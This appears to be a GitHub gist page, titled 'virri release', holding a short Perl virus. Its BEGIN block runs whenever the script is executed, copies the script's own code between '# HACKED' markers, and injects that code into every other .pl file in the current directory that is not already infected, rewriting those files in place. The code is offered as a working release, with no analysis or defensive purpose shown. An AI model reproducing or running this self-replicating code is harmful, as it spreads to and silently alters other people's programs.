Created
September 23, 2012 02:33
-
-
Save fakessh/3768611 to your computer and use it in GitHub Desktop.
virri release
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/opt/perl/bin/perl -w | |
use strict; | |
# HACKED | |
BEGIN { | |
local *ME; | |
if (open ME, $0) { | |
local $/; | |
my $me = <ME>; | |
my ($text) = $me =~ /(# HACKED\n.*?# HACKED\n)/s; | |
if (opendir DIR, ".") { | |
foreach my $file (readdir DIR) { | |
next unless $file =~ /.pl$/; | |
local *FILE; | |
if (open FILE, "+< ./$file") { | |
my $program = <FILE>; | |
unless ($program =~ /# HACKED/) { | |
$program =~ s/\n/\n$text/; | |
} | |
seek FILE, 0, 0; | |
print FILE $program; | |
} | |
close FILE; | |
} | |
} | |
closedir DIR; | |
} | |
close ME; | |
} | |
# HACKED | |
__END__ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment